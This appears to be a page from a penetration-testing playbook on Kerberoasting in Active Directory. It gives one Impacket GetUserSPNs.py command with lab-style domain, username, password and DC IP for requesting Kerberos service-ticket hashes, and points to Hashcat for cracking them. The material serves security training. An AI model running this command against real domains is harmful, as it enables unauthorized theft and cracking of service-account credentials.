🖥️
Pentest Playbook
  • Pentest Playbook
  • Methodology
    • 🐘Pentest Methodology
  • Reconnaissance
    • 🦅Scanning and Enumeration
      • Host Discovery
      • Port Scan
  • Active Directory
    • 🐻Initial Attack Vectors
      • LLMNR Poisoning
      • SMB Relay
      • Gaining Shell Access
      • IPv6 Attack
    • 🐻‍❄️Post-Compromise Enumeration
      • LDAPDomainDump
      • BloodHound
      • PlumHound
      • PingCastle
    • 🐼Post-Compromise Attacks
      • CrackMapExec
      • SecretsDump
      • Kerberoasting
      • Token Impersonation
      • LNK File Attack
      • GPP or cPassword Attack
      • Mimikatz
  • Password Attacks
    • 🐱Hashcat
      • Hashcat for Windows
    • 🐠Hydra
    • 🐶John The Ripper
Powered by GitBook
On this page
  • Capturing Kerberos Hash - GetUserSPNS.py
  • Cracking Kerberos Hash
  1. Active Directory
  2. Post-Compromise Attacks

Kerberoasting

PreviousSecretsDumpNextToken Impersonation

Last updated 1 year ago

Capturing Kerberos Hash - GetUserSPNS.py

Syntax: sudo GetUserSPNs.py [Domain]/[Username]:[Password] -dc-ip [DC IP] -request

sudo GetUserSPNs.py alterave.local/jjones:buyme_200sx -dc-ip 172.16.1.100 -request

Cracking Kerberos Hash

Refer to the Hashcat page under Password Cracking section:

🐼
GetUserSPNs.py
Kerberos Hash (KRB5)